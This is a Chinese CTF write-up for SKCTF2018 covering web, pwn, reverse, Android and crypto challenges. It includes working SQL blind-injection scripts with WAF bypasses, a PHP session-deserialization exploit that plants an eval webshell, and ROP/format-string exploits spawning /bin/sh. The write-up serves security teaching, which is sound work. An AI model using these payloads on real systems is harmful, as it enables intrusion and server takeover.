SKCTF2018 WriteUp



SKCTF2018 WriteUp

山东科技大学网络安全小组

Web

Wait_a_minute

右键查看源代码,发现源码。

<html>
<h1>Please input password..........</h1><br><!--

if(isset($_POST['password']))
{
    if(strcmp($_POST['password'],$password)==0){
        echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
        if(isset($_GET['time'])){
                $t=$_GET['time'];
                if(!is_numeric($t)){
                        echo 'Sorry.<br>';
                }else if($t < 66 * 55 * 44 * 33 * 22 * 11 ){
                                echo 'you need a bigger time.<br>';
                }else if($t > 11 * 23 * 33 * 44 * 55 * 66){
                                echo 'you need a smaller time.<br>';
                }else{
                        sleep((int)$t);
                        var_dump($flag);
                }
                        echo '<hr>';
        }
    }else{
        echo "Password is wrong............<br>";
    }
}else{
    echo "<h1>Please input password..........</h1><br>";
}
--!>



</html>

首先要求post一个password,要求与服务端设定的password相等才能继续,而这次用了双等号==比较,存在弱

类型绕过。Post一个数组即可

waitamin1

继续发现需要传入一个time时间。在sleep这些时间后会输出这个时间,而在源码中可以可以看到时间的大小在66

55 * 44 * 33 * 22 * 11-11 * 23 * 33 * 44 * 55 * 66之间,也就是说只要等上个几百天flag就出来了。简单吧。

Ok,我们当然不能等上几百天,在源码中可以看到.

waitamin2

对时间t做了int强制转换,那么我们的机会来了。可以使用十六进制,绕过前边的时间检测,而十六进制以0x开

头,int转换后就是0,那么就可以得到flag了。

waitamin3

Php_string

题目存在源码泄露,访问 .index.php.swp

使用vim -r命令恢复

可以得到题目源码

phpstring1

可以看到得到flag的条件很简单,只要输入的id等于字符串‘6666‘即可,但是这里challenge函数对id进行了过滤,无法通过单双引号等方式传入字符串,百度一下可以发现php还有其他一些表示字符串的方式,可以找到一种heredoc的方式,而且佩奇图片的名字就是heredoc,这里其实也给了一些提示。

那么我们就可以用heredoc语法构造payload

Id=<<<b

6666

 b;

而需要注意的事,这里有三个换行,其中最后的分号后也需要换行,可以使用%oa代替

那么最终的payload :

?id=<<<b%0a6666%0ab;%0a

phpstring2

八大关

一些简单知识点的汇总

index

查看源代码,可以在注释中看到提示:

你不是自己人,我不能让你进去!
<!-- 悄悄告诉你,我们自己人的ip都是233.233.233.233 -->

可以知道这题限制了IP,我们利用X-Forwarded-For来伪造请求IP。

X-Forwarded-ForXFF)是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段

我们通过burpsuite来添加编辑X-Forwarded-For的值来伪造ip,成功通关。

Challenge1

页面上的提示点明了我们要使用OS X 99 系统来访问,通过更改UA来通关。

You should use “Mac OS X 99” to through the door!

通过burpsuite将headers中的user-agent更改为题目要求的即可通关。

User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。

Challenge2

给出了关键代码:

if($_POST["a"] != $_POST["b"] && md5($_POST["a"]) == md5($_POST["b"])){
success!
}

payload:a=240610708,b=QLTHNDT(不唯一)

==在进行比较的时候,会先将字符串类型转化成相同,再比较。如果一个字符串和数字进行比较会先将字符串进行类型转换成数值进行比较。0e开头加数字组成的字符串在比较时,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。也就是只要是a,b的值经过md5加密后符合这种格式就能成功。

a/b Md5
240610708 0e462097431906509019562988736854
QLTHNDT 0e405967825401955372549139051580

Challenge3

给出了关键代码:

if(($_GET['a']!==$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){
    success!;
        }

要求两个参数的值不相等,且a===b,两个md5的强等于比较,我们使用数组来绕过。

Payload:challenge3.php?a[]=1&b[]=2

md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,只是会无法正确地求出array的md5值,这样就会导致任意2个array的md5值都会相等。

Challenge4

根据给出的提示,很显然是要爆破md5.已经提示了是纯数字进行的加密,所以爆破很容易。

substr(md5(input),0,6) ===b04f51

md5爆破:

import hashlib

def getmd5(code):
    for i in range(999999):
        temp = hashlib.md5(str(i)).hexdigest()
        if temp[0:6] == code:
            return i 

if __name__ == '__main__':
    print getmd5('b04f51')

#587478

Challenge5

给出了关键代码,通过strcmp函数来比较两个参数,通过数组绕过。

if(!strcmp($_POST['a'],$_POST['b'])){
success!
}

payload:/challeneg5.php?a[]=1&b=123

strcmp()是比较两个字符串是否相等的函数, 他的判断原理是先将两个字符串转换成ascii然后进行减法运算,结果和0比较, 如果str1<str2 则返回<0,如果str1大于str2返回>0 如果两者相等 返回0 所以它是对字符串类型进行的操作,如果传入数组呢。结果是null但是与0进行松散比较结果是true的。

松散比较

Challenge6

关键代码已给出,要求参数不能是SKCTF且经过urldecode后等于SKCTF,因为会自动进行一次urldecode,所以将SKCTF进行hex编码两次。

if(eregi("SKCTF",$_GET['code'])) {    
echo("code error!");    
exit();    
}    

$_GET['code'] = urldecode($_GET['code']);    
if($_GET['code'] == "SKCTF")    
{    
success;    
}    

Payload:

/?code=%25%35%33%25%34%62%25%34%33%25%35%34%25%34%36

Lastchallenge

检查元素能看到密码锁的js代码,js验证密码所以要么改js要么直接输入密码,通关。

var Lock = function () {
  function Lock() {
    _classCallCheck(this, Lock);

    this.pin = '7982';
    this.setupDom();
    this.setupFlickity();
    this.setupAudio();
    this.onResize();
    this.listen();
  }

得到flag:SKCTF{haHA_EZ_D0oR}

login me

这题考察sql bool盲注,难点在于waf的绕过。

这里直接给出源码的waf

$waf="union|if| |=|and|>|<|or|substr|mid|left|right|like|regexp";

具体黑盒测试时可以用burpsuite中的intruder工具构建字典自行fuzz。

waf中的空格用/**/绕过,=in代替,lpad函数用来截取字符串。

题目还有sql数据库结构泄露,直接访问web4.sql可以看到数据库的结构。

payload:username=1'/**/||/**/lpad(('a'),1,1)/**/in/**/('a')#&password=123

接下来就可以直接盲注查表了。

#-*-coding:utf-8-*-

import requests 
import time

url = 'http://192.168.211.131:49154/' 

def check(payload):
    postdata={'username':payload,'password':'admin'}
    r = requests.post(url,postdata).content
    #print r
    return 'Wrong password' in r

flag=''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):    
    for c in s:        
        payload = '1\'/**/||/**/lpad((select/**/f14g/**/from/**/f1ag),%s,1)/**/in/**/(\'%s\')#'%(str(i),flag+c)     
        #print payload
        if check(payload):
            flag += c
            break
    print flag
    if '}' in flag:
        break    

绕啊绕


给了关键代码,先一句一句分析代码,一步步绕过条件:

$rule = '/([[:punct:]]+|[[:alpha:]]+|[[:digit:]]+)/';

这句是规定了一个rule参数,如果了解php的可以知道,PHP的正则表达式有一些内置的通用字符簇,[[:punct:]]代表了任何标点符号,[[:alpha:]]代表了任何字母,不区分大小写,[[:digit:]]代表了任何数字,接着读代码:

if (8 > preg_match_all($rule, $data, $arr))

这个条件是必须要满足的,否则会break掉,要绕过preg_match_all这个正则表达式,我们必须在data中匹配到八次以上的rule条件,也就是标点符号,数字,字母,接着读代码:

$nn = array('punct', 'alpha', 'digit');
        foreach ($nn as $ns)
        { 
            if (preg_match("/[[:$ns:]]+/", $data))
            {
                $num += 1;
            }
        }
        if ($num < 3)
            break;
        if (187667123 == $data)
        {
            $da = $_GET['num'];
            if (!is_numeric($da))
            {
                if(27500 < $da)
                {
                    echo $flag;
                }

重要代码就到这结束了,仔细读一下也不难,foreach是一个循环,同样是一个正则表达式preg_match,这段代码的意思是,你要使得data中的数据匹配到超过三次,num才能不<3,也就是要出现超过三种以上的数据,因为代码里规定的数据只有三种,也就是字母,数字,标点符号,所以也就是要这三种数据都出现在payload中才能满足条件,那有的同学会问了,这个条件和之前那个正则表达式有什么区别呢,之前那个要求出现八次以上,但是并不要求三种数据都出现,这里要求的是三种都出现,而且要求数字等于187667123,下一个条件是:

if (!is_numeric($da))
            {
                if(27500 < $da)

get一个num参数,is_numeric函数是判断一个参数是不是数字,而且还要求比27500大,这个函数是判断一个参数是不是数字,那么如果穿进去的参数是一个字符串就会返回0,绕过,然后要求比27500大,这就是php的弱类型,如果你传输的参数为27501a,那么强制转换后比较的数字就是27501,比27500大,也绕过,然后得到flag,最终payload为:

url=http://127.0.0.1/other.php?num=27501a
POST=data=187667123.0e+0-0+0

答案多样化,大家随意发挥。

login me[easy edition]

这题考察sql bool盲注,几乎没有waf。

payload:username=admin' and substr((select f14g from f1ag),1,1)='S'#&password=123

接下来就可以直接盲注查表了。

#-*-coding:utf-8-*-

import requests 
import time

url = 'http://192.168.211.131:49157/' 

def check(payload):
    postdata={'username':payload,'password':'admin'}
    r = requests.post(url,postdata).content
    #print r
    return 'Wrong password' in r

flag=''
s = r'SKCTF{}1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_'
for i in xrange(1,64):    
    for c in s:        
        payload = 'admin\' and substr((select f14g from f1ag),%s,1)=\'%s\'#'%(str(i),c)     
        #print payload
        if check(payload):
            flag += c
            break
    print flag
    if '}' in flag:
        break        

sqlmap -r 也能跑出来

easy web

hint

  • 源代码泄露
  • 善于使用搜索引擎

解析

由源代码泄露可以知道有三个文件
index.php

<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
echo rand();
if(isset($_POST['up_addr']))
{
    include("rand_addr.php");
    if($_POST['up_addr']===$up_addr&&isset($_POST['str']))
    {
        $str = $_POST['str'];
        $_SESSION['name'] = $str;
    }

}

kkkk.php

<?php

ini_set('session.serialize_handler', 'php');
session_start();
class  SKCTF{
    var $content;
    function __destruct() {
        include("rand_addr.php");
        file_put_contents("/var/www/html/upload/$up_addr.php",$this->content);
    }
}

rand_addr.php

<?php
$up_addr = str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz');

代码逻辑很简单,明显预测随机字符串,预测出来判断正确之后有个存储session的操作,然后可以发现两个文件对session的操作方式不一样,导致了session反序列化的产生。

分析str_shuffle函数的底层代码

static void php_string_shuffle(char *str, long len TSRMLS_DC) /* {{{ */
{
    long n_elems, rnd_idx, n_left;
    char temp;
    /* The implementation is stolen from array_data_shuffle       */
    /* Thus the characteristics of the randomization are the same */
    n_elems = len;

    if (n_elems <= 1) {
        return;
    }

    n_left = n_elems;

    while (--n_left) {
        rnd_idx = php_rand(TSRMLS_C);
        RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
        if (rnd_idx != n_left) {
            temp = str[n_left];
            str[n_left] = str[rnd_idx];
            str[rnd_idx] = temp;
        }
    }
}

可以知道str_shuffle是通过获取rand值来打乱字符串的,根据传进来的字符串值的长度决定了调用获取rand的次数,那么参考文章

http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

可以知道rand()值是可以预测的,看一下RAND_RANGE的实现

#define RAND_RANGE(__n, __min, __max, __tmax) \
(__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))

那么既然rand可以预测的话,打乱后的字符串也可以预测。

假如这里预测了字符串还考察了session反序列化
构造反序列化的payload

<?php

class  SKCTF{
    var $content;
}
$p0desta = new SKCTF();
$p0desta->content = "<?php eval(\$_POST[1]); ?>";
echo "|".serialize($p0desta);

重写str_shuffle的底层代码,这里需要注意到底什么时候传入多少个rand()值,poc如下

#encoding: utf-8
import requests
import re
import random
from ctypes import *

def RAND_RANGE(__n,__min,__max,__tmax):
    xx =  __min + ( ( (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
    return (int)(xx)

def str_shuffle(arr,ss):
    n_elems = len(ss)
    if(n_elems<=1):
        return
    num = -1
    kk = []
    brr = []
    for m in range(32,32+n_elems+1):
        num = num+1
        arr.append((arr[m-3]+arr[m-31])%2147483647)
        brr.append(arr[num])

    n_left = n_elems
    n = -1
    n_left = n_left-1
    sss = []
    for s in ss:
        sss.append(s)
    x = 0
    while (n_left):

        n = n+1
        rnd_idx = brr[n]
        rnd_idx = RAND_RANGE(rnd_idx,0,n_left,2147483647)

        if(rnd_idx!=n_left):
            sss[rnd_idx],sss[n_left] = sss[n_left],sss[rnd_idx]
        n_left = n_left-1
        x = x + 1
    return sss

ars = []
headers={
        'Connection': 'Keep-Alive'
}
s = requests.Session()
url='http://192.168.190.128:1112/index.php'
for i in range(32):
    r =s.get(url=url,headers=headers)
    ars.append(int(r.text))
#print ars
payload = []
for i in range(73):
    ars.append((ars[i+1]+ars[i+29])%2147483647)
sss = str_shuffle(ars[33:65],"0123456789abcdefghijklmnopqrstuvwxyz")
key = ''.join(sss)
print "key:"+key
sss1 = str_shuffle(ars[68:],"0123456789abcdefghijklmnopqrstuvwxyz")
key1 = ''.join(sss1)
print "key1:"+key1
data = {
    "up_addr":key,
    "str":'|O:5:"SKCTF":1:{s:7:"content";s:25:"<?php eval($_POST[1]); ?>";}'
}
print data
r=s.post(url,headers=headers,data=data)
print(r.text)
url_new = "http://192.168.190.128:1112/kkkk.php"
print s.get(url=url_new).content

PWN

pwn1

简单的大数字格式化字符串

# coding=utf-8
from pwn import *

p = process('./pwn1')

payload = fmtstr_payload(7, {0x0804a028: 0x12345678})

p.sendline(payload)

p.interactive()

pwn2

明显的栈溢出,很直观的漏洞在read函数,但是只有一个read,没有可以用来leak的函数,所以用Return-to-dl-resolve的解法

  1. 首先在bss段写入/bin/sh
  2. 调用system函数
#coding:utf-8
import sys
import roputils
from pwn import *


p = process('./pwn2')
elf = ELF('pwn2')

readplt = elf.plt['read']
#print hex(readplt)


#readplt = 0x8048310
bss = 0x0804A024 
vulFun = 0x0804844D
offset = 40

rop = roputils.ROP('./pwn2')
bss_addr = rop.section('.bss')

buf1 = 'A' * offset
buf1 += p32(readplt) + p32(vulFun) + p32(0) + p32(bss_addr) + p32(100)

p.send(buf1)

buf2 =  rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(bss_addr+20, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)

buf3 = 'A'* offset + rop.dl_resolve_call(bss_addr+20, bss_addr)
p.send(buf3)
p.interactive()

RE

BabyRE

使用gdb进行调试分析

gdb-peda$ b main.main
Breakpoint 1 at 0x48ea30: file /root/Desktop/babyre.go, line 7.
gdb-peda$ disas main.main
Dump of assembler code for function main.main:
   0x000000000048ea30 <+0>: mov    rcx,QWORD PTR fs:0xfffffffffffffff8
   0x000000000048ea39 <+9>: lea    rax,[rsp-0x8]
   0x000000000048ea3e <+14>:    cmp    rax,QWORD PTR [rcx+0x10]
   0x000000000048ea42 <+18>:    jbe    0x48ebda <main.main+426>
   0x000000000048ea48 <+24>:    sub    rsp,0x88
   0x000000000048ea4f <+31>:    mov    QWORD PTR [rsp+0x80],rbp
   0x000000000048ea57 <+39>:    lea    rbp,[rsp+0x80]
   0x000000000048ea5f <+47>:    lea    rax,[rip+0x1087a]        # 0x49f2e0
   0x000000000048ea66 <+54>:    mov    QWORD PTR [rsp],rax
   0x000000000048ea6a <+58>:    call   0x40e470 <runtime.newobject>
   0x000000000048ea6f <+63>:    mov    rax,QWORD PTR [rsp+0x8]
   0x000000000048ea74 <+68>:    mov    QWORD PTR [rsp+0x48],rax
   0x000000000048ea79 <+73>:    mov    ecx,0x1
   0x000000000048ea7e <+78>:    jmp    0x48eb09 <main.main+217>
   0x000000000048ea83 <+83>:    inc    rcx
   0x000000000048ea86 <+86>:    cmp    rcx,0xf
   0x000000000048ea8a <+90>:    jge    0x48ebb9 <main.main+393>
   0x000000000048ea90 <+96>:    mov    rdx,QWORD PTR [rax+0x8]
   0x000000000048ea94 <+100>:   mov    rbx,QWORD PTR [rax]
   0x000000000048ea97 <+103>:   cmp    rcx,rdx
   0x000000000048ea9a <+106>:   jae    0x48ebd3 <main.main+419>
   0x000000000048eaa0 <+112>:   movzx  edx,BYTE PTR [rbx+rcx*1]
   0x000000000048eaa4 <+116>:   lea    rbx,[rip+0x324b8]        # 0x4c0f63
   0x000000000048eaab <+123>:   movzx  esi,BYTE PTR [rbx+rcx*1]
   0x000000000048eaaf <+127>:   xor    edx,esi
   0x000000000048eab1 <+129>:   cmp    dl,0x3
   0x000000000048eab4 <+132>:   jne    0x48eb6f <main.main+319>
   0x000000000048eaba <+138>:   cmp    rcx,0xe
   0x000000000048eabe <+142>:   jne    0x48ea83 <main.main+83>
   0x000000000048eac0 <+144>:   xorps  xmm0,xmm0
   0x000000000048eac3 <+147>:   movups XMMWORD PTR [rsp+0x50],xmm0
   0x000000000048eac8 <+152>:   lea    rax,[rip+0x10811]        # 0x49f2e0
   0x000000000048eacf <+159>:   mov    QWORD PTR [rsp+0x50],rax
   0x000000000048ead4 <+164>:   lea    rcx,[rip+0x42df5]        # 0x4d18d0 <main.statictmp_1>
   0x000000000048eadb <+171>:   mov    QWORD PTR [rsp+0x58],rcx
   0x000000000048eae0 <+176>:   lea    rdx,[rsp+0x50]
   0x000000000048eae5 <+181>:   mov    QWORD PTR [rsp],rdx
   0x000000000048eae9 <+185>:   mov    QWORD PTR [rsp+0x8],0x1
   0x000000000048eaf2 <+194>:   mov    QWORD PTR [rsp+0x10],0x1
   0x000000000048eafb <+203>:   call   0x4831a0 <fmt.Println>
   0x000000000048eb00 <+208>:   xor    eax,eax
   0x000000000048eb02 <+210>:   mov    ecx,eax
   0x000000000048eb04 <+212>:   mov    rax,QWORD PTR [rsp+0x48]
   0x000000000048eb09 <+217>:   test   cl,cl
   0x000000000048eb0b <+219>:   je     0x48ebc3 <main.main+403>
   0x000000000048eb11 <+225>:   mov    BYTE PTR [rsp+0x47],cl
   0x000000000048eb15 <+229>:   xorps  xmm0,xmm0
   0x000000000048eb18 <+232>:   movups XMMWORD PTR [rsp+0x70],xmm0
   0x000000000048eb1d <+237>:   lea    rcx,[rip+0xda1c]        # 0x49c540
   0x000000000048eb24 <+244>:   mov    QWORD PTR [rsp+0x70],rcx
   0x000000000048eb29 <+249>:   mov    QWORD PTR [rsp+0x78],rax
   0x000000000048eb2e <+254>:   lea    rdx,[rip+0x30dc8]        # 0x4bf8fd
   0x000000000048eb35 <+261>:   mov    QWORD PTR [rsp],rdx
   0x000000000048eb39 <+265>:   mov    QWORD PTR [rsp+0x8],0x2
   0x000000000048eb42 <+274>:   lea    rbx,[rsp+0x70]
   0x000000000048eb47 <+279>:   mov    QWORD PTR [rsp+0x10],rbx
   0x000000000048eb4c <+284>:   mov    QWORD PTR [rsp+0x18],0x1
   0x000000000048eb55 <+293>:   mov    QWORD PTR [rsp+0x20],0x1
   0x000000000048eb5e <+302>:   call   0x489180 <fmt.Scanf>
   0x000000000048eb63 <+307>:   mov    rax,QWORD PTR [rsp+0x48]
   0x000000000048eb68 <+312>:   xor    ecx,ecx
   0x000000000048eb6a <+314>:   jmp    0x48ea86 <main.main+86>
   0x000000000048eb6f <+319>:   xorps  xmm0,xmm0
   0x000000000048eb72 <+322>:   movups XMMWORD PTR [rsp+0x60],xmm0
   0x000000000048eb77 <+327>:   lea    rax,[rip+0x10762]        # 0x49f2e0
   0x000000000048eb7e <+334>:   mov    QWORD PTR [rsp+0x60],rax
   0x000000000048eb83 <+339>:   lea    rcx,[rip+0x42d36]        # 0x4d18c0 <main.statictmp_0>
   0x000000000048eb8a <+346>:   mov    QWORD PTR [rsp+0x68],rcx
   0x000000000048eb8f <+351>:   lea    rdx,[rsp+0x60]
   0x000000000048eb94 <+356>:   mov    QWORD PTR [rsp],rdx
   0x000000000048eb98 <+360>:   mov    QWORD PTR [rsp+0x8],0x1
   0x000000000048eba1 <+369>:   mov    QWORD PTR [rsp+0x10],0x1
   0x000000000048ebaa <+378>:   call   0x4831a0 <fmt.Println>
   0x000000000048ebaf <+383>:   movzx  eax,BYTE PTR [rsp+0x47]
   0x000000000048ebb4 <+388>:   jmp    0x48eb02 <main.main+210>
   0x000000000048ebb9 <+393>:   movzx  eax,BYTE PTR [rsp+0x47]
   0x000000000048ebbe <+398>:   jmp    0x48eb02 <main.main+210>
   0x000000000048ebc3 <+403>:   mov    rbp,QWORD PTR [rsp+0x80]
   0x000000000048ebcb <+411>:   add    rsp,0x88
   0x000000000048ebd2 <+418>:   ret    
   0x000000000048ebd3 <+419>:   call   0x424f70 <runtime.panicindex>
   0x000000000048ebd8 <+424>:   ud2    
   0x000000000048ebda <+426>:   call   0x44d270 <runtime.morestack_noctxt>
   0x000000000048ebdf <+431>:   jmp    0x48ea30 <main.main>
End of assembler dump.

73行一层while循环, 然后跳到217行, 若符合while条件, 向下执行到302行调用Scanf函数,然后再跳回86行, 进入一个i = 0; i < 15的循环, 在116行加载一个字符串[0x4c0f63]PH@WExabazd3qf~(使用 x /s 0x4c0f63查看), 然后进行逐位异或, 若异或结
果不为1, 则跳出循环Printf(“Wrong”), 否则继续循环, 直到循环结束输出Printf(“Right”)

源码:

package main

import (
"fmt"
)

func main() {
    var i = true
    str := ""
    str2 := "PH@WExabazd3qf~"
    for i {
        fmt.Scanf("%s", &str)
        for b:=0; b < 15; b++ {
            if str[b] ^ str2[b] != 3 {
                fmt.Println("Wrong")
                break
            } else {
                if b == 14 {
                    fmt.Println("Right")
                    i = !true
                    break
                }
            }
        }
    }
}

intel

虽然是mac程序,但是ida也能分析
直接上脚本

def calc(result):
    for i in range(32,128):
        k = i
        for j in range(4):
            tmp = k*2
            if tmp & 0x100:
                tmp |= 1
            k = tmp & 255
        if k == result:
            return chr(i)
string='44F6F557F5C696B656F51425D4F596E63747275736479603E6F3A392'.decode('hex')
flag = ''
for ch in string:
    flag+=calc(ord(ch))

print f_d

getit

一个exe文件,查壳
image
用IDA打开,F12查看字符串,发现几个关键句
image
双击进入到具体位置
image
在函数名上按X,寻找到函数的具体位置,F5查看伪代码
image
分析一下语境,发现与“U7kD0VwFt2d0DUUfVxdQEMl=ZVd=”这串字符串有关,既然和flag接近,那就是该字符串经过某些转换才能得到flag
观察该字符串,猜测与密码有关,看到两个等号联想到base64,但是格式又不像,猜测栅栏密码,解密得到flag。

-> 栅栏密码

U0tDVEZ7V2UxMVkwdUdldDF0fQ==

->base64 decode

SKCTF{We11Y0uGet1t}

Android

爆破大法好

见名知意,本题就是采用爆破的方法得到flag.

android1

关键代码如上,可以看到程序首先查看输入的字符串的长度是否为6,然后将输入进行MD5加密,将加密后的结果与result进行比较。

因为采用的MD5加密,所以无法直接解密,采用爆破的方法得到flag。

Flag为skctf{soeasy}

getFlag

程序打开后为一个网页,然后通过点击网页链接调用encrypt类,

android

将输入每四位进行循环左移,input[0,1,2,3,4,5,6…]变为input[1,2,3,0,5,6,7,4…]

android

获取程序的签名值,这地方为了降低难度,打开了Log,不知道这是获取签名也可以做,查看一下log即可得到签名值。

android

将上面左移后的结果与签名的偶数位进行异或得到v5,最后将v5与result进行比较。

反推一下算法过程即可得到flag。Flag为skctf{congratulation!!}

脚本如下:

end = [13, 92, 5, 87, 81, 22, 65, 22, 89, 70, 94, 8, 91, 67, 64, 90]
s = "B026B34B00BB4CD2862175D157B1AD5EE89A407C"
ss ="b026b34b00bb4cd2862175d157b1ad5ee89a407c"
flag =""
for i in range(0,16):
    flag += (chr(int(end[i]) ^ ord(ss[i*2])))
print(flag)
flag = list(flag)
for i in range(0,4):
    c = flag[(3-i)*4+3]

    for j in range(0,3):
        flag[(3-i) * 4 + (2-j) + 1] = flag[(3-i) * 4 + (2-j)]
    flag[(3-i) * 4] = c
    print(flag)
for i in range(0,16):
    print(flag[i],end="")
#congratulation!!

Crypto

LFSR

根据图可知,Y是LFSR产生序列与FLAG异或得到的结果,已知Y,只要生成加密时使用的序列即可得到flag。
已知LFSR初始状态为17,即10001。则根据LFSR原理,将其表示为a1,a2,a3,a4,a5。首先输出的是a1,即LFSR右端为a1,顺序向左排列。
第一次运算,移位输出a1,将a1与a4进行异或运算得到a6:
a6 = a1 ^ a4
第一次运算后,LFSR中由右至左为 11000,重复操作,继续输出。
推广:

n>5时,a(n) = a(n-5) ^ a(n-2)

又知Y长度为184,则依次运算生成184位初始序列:

1101110011010001000000011110111101011001010011111100000101000110011000010011000001100101101110010010001110011001011110111110100010001110111110110110011111010111110001100001101000101010

将其与Y进行异或即可得到FLAG的二进制,转为16进制后,再转换为字符即可。

flag:SKCTF{D0_YoU_Kn0w_Lf5R}

# - UTF-8 -
# LSFR_decode
# _Bonjour
# 

Y = "1101110011010001000000011110111101011001010011111100000101000110011000010011000001100101101110010010001110011001011110111110100010001110111110110110011111010111110001100001101000101010"
len = len(Y)
print(len) # 求密文长度

# initial_state = 17
# initial_state = "00010001"
output = '10001'

# 根据图(a4,a3,a2,a1,a0),f = list[i] ^ list[i + 3]
for i in range(184):
    output += str(int(output[i]) ^ int(output[i + 3]))
print("output = " + output)

flag = ''
for i in range(184):
    flag += str(int(output[i]) ^ int(Y[i]))
print("flag = " + flag)

list = ''
idx = 0
while idx < len:
    list += chr(int(flag[idx:idx+8],2))
    idx += 8
print(list)

easy rsa

低指数幂爆破攻击,脚本如下

import libnum

c=20007698782339834246219328724588364459038474898597431254441716723329047692482286669616878491497181438826429104573158490197780427343059002311390665150204203593904674308567972583524863664412573864470357485299378319457792659062998310715680020892095430469672971488726545126438904961637
n= 127736277372703302601056543119422673263688414162130452012271136376613506149677023810059879551077756689012265602068781726322860263396788055341495459092641851239465778777954763378423777055786390661741851297248439205933852145044703803764388021585419049988085302710871206091591995497858682344782684500134395300049


for e in range(2,10):
    m = libnum.nroot(c,e)
    if m**e==c:
        break

print "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag

看到的就是全部

相关知识:caser + 栅栏 + unicode

cipher:

\u4f\u50\u53\u79\u41\u47\u42\u7a\u47\u42\u61\u4b\u32\u59\u33\u7d\u59\u7b\u31\u69\u6f\u50\u6e

unicode decode

栅栏 key:3

凯撒caser

plain: SKCTF{We1cOmE2sKCTF3rd}

FairPlay

相关知识:fairplay加密
参考原理:
https://blog.csdn.net/qq_25968195/article/details/70343910
具体加密步骤:

  • 根据key构建5*5矩阵
    j u s t d
    o a b c e
    f g h k l
    m n p q r
    v w x y z

  • 对密文进行两两分组
    (** 若两元素相同(a == b):于两元素间插入x
    ** 若两元素同一行(a / 5 == b / 5):取右(+1)元素
    ** 若两元素同一列(a % 5 == b % 5):取下(+5)元素
    ** 若两元素不同行不同列:以两元素为对角线构建矩阵,分别取该矩阵内的同行(a + (|b - a| % 5) 和 b - (|b - a| % 5))元素)

  # Playfair_encode
  # 
  # 本代码已知约定:
    # j -> i
    # 若 p1=p2,则插入一个字母(X)于重复字母之间;
    # 若明文字母数为奇数时,则在明文的末端添加(Z)作为填充;
    # 
  # Bonjour_

  # 移除密钥中已存在的字符
  def Remove(key):
    key = key.lower() # 将所有大写字母转为小写
    text = ''
    for c in key:
      if c == 'i':
        c = 'j'
      if c in text:
        continue
      else:
        text+=c
    return text

  # 整合密钥不重复字母和字母表剩余字母
  def Ordertext(text):
    Alphabet = "abcdefghijklmnopqrstuvwxyz"
    for c in Alphabet:
      if c == 'i':
        c = 'j'
      if c not in text:
        text+=c
    return text

  # 根据已确定顺序构造5*5矩阵
  def CreatMatrix(text):
    Matrix = []
    cnt = 0
    for i in range(25):
      Matrix.append(text[cnt:cnt+1])
      cnt+=1
    return Matrix

  # 查找指定元素
  def Search(Matrix,c):
    if c == 'i':
      c = 'j'
    cnt = 0
    for i in Matrix:
      if i == c:
        # print(cnt)
        return cnt # 返回元素位置
      cnt = cnt + 1
    return -1

  def Abs(a,b):
    if a > b:
      return a - b
    else:
      return b - a

  # 进行元素变化 ##'A' = 65, 'a' = 97
  # # 若两元素同一行(a / 5 == b / 5):取右(+1)元素
  def Change1(Matrix,x):
    if int(x / 5) != int((x + 1) / 5):
      x = int(int(x / 5) * 5)
      # print(x)
    else:
      x = x + 1
    # print("+1+")
    return Matrix[x]

  # 若两元素同一列(a % 5 == b % 5):取下(+5)元素
  def Change2(Matrix,x):
    x = (x + 5) % 25
    return Matrix[x]

  # 若两元素不同行不同列:以两元素为对角线构建矩阵,分别取该矩阵内的同行(a + (|b - a| % 5) 和 b - (|b - a| % 5))元素
  def Change3(Matrix,x,diff):
    x = x + diff
    return Matrix[x]


  # 两两分组
  # 若两元素相同(a == b):于两元素间插入x
  # 若两元素同一行(a / 5 == b / 5):取右(+1)元素
  # 若两元素同一列(a % 5 == b % 5):取下(+5)元素
  # 若两元素不同行不同列:以两元素为对角线构建矩阵,分别取该矩阵内的同行(a + (|b - a| % 5) 和 b - (|b - a| % 5))元素
  def encode(Matrix,plain,len):
    cnt = 0
    text = ''
    while(cnt < len):
      a = plain[cnt]
      b = plain[cnt + 1]
      pos_a = Search(Matrix,a)
      pos_b = Search(Matrix,b)
      # print(int(pos_a / 5))
      # print(int(pos_b / 5))
      # c = 'a'
      # c = ord(c) + 1 //ord():将字符转化为整数值
      # print(chr(c)) //输出'b'
      if pos_a == pos_b:
        text += a
        text += 'x'
        text += a
      elif int(pos_a / 5) == int(pos_b / 5):
        text += Change1(Matrix,pos_a)
        text += Change1(Matrix,pos_b)
      elif pos_a % 5 == pos_b % 5:
        text += Change2(Matrix,pos_a)
        text += Change2(Matrix,pos_b)
      # 根据两种矩阵格式区分
      elif pos_a % 5 < pos_b % 5:
        diff = pos_b % 5 - pos_a % 5
        if pos_a > pos_b:
          text += Change3(Matrix,pos_a,diff)
          text += Change3(Matrix,pos_b,-diff)
        else:
          text += Change3(Matrix,pos_a,diff)
          text += Change3(Matrix,pos_b,-diff)
      elif pos_a % 5 > pos_b % 5:
        diff = pos_a % 5 - pos_b % 5
        if pos_a > pos_b:
          text += Change3(Matrix,pos_a,-diff)
          text += Change3(Matrix,pos_b,diff)
        else:
          text += Change3(Matrix,pos_a,-diff)
          text += Change3(Matrix,pos_b,diff)
      cnt+=2
    return text


  # 读取文件
  input = open('in.txt')
  try:
    plain = input.read()
  finally:
    input.close()

  print(plain)

  file = open('key.txt')
  try:
    key = file.read()
  finally:
    file.close()
  # 去除空格
